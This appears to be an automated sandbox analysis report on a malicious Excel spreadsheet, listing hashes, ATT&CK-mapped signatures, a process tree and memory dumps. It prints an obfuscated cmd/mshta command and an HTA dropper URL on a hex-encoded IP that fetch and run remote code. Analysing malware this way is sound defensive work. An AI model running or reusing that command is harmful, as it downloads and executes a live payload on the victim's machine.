7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
120s
max time network
183s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-109.xls
Size

64KB
MD5

2cb6e9a634e9c4ec6f778ea99ca7d0d0
SHA1

86fa8fc1a65ddd9101bfdc1fa9856047fe8cdf4a
SHA256

bb6945ad81d2dbbd4887be5f66373feebdab044c1d2ec5f014fb18398595946c
SHA512

50aa4c85fd481d38c791154b746b85da15fc7d1a0ed24c8f4838bb4e1f64d63bd84b0d9606b3838c6d2218b6bd1e1f8f585cd23b4cb15f16ca1e06054fe6b3c6

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3996	2768	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

40 3160 mshta.exe

flow	pid	process
40	3160	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2768 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE
2768	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2768 wrote to memory of 3996	2768	EXCEL.EXE	cmd.exe
PID 2768 wrote to memory of 3996	2768	EXCEL.EXE	cmd.exe
PID 3996 wrote to memory of 3160	3996	cmd.exe	mshta.exe
PID 3996 wrote to memory of 3160	3996	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-109.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3996

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:3160

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2768-115-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/2768-116-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/2768-117-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/2768-118-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/2768-127-0x00007FFB36410000-0x00007FFB36420000-memory.dmp

Filesize
64KB

Download
memory/2768-128-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/2768-129-0x00007FFB36410000-0x00007FFB36420000-memory.dmp

Filesize
64KB

Download
memory/2768-313-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/2768-314-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/2768-315-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/2768-316-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download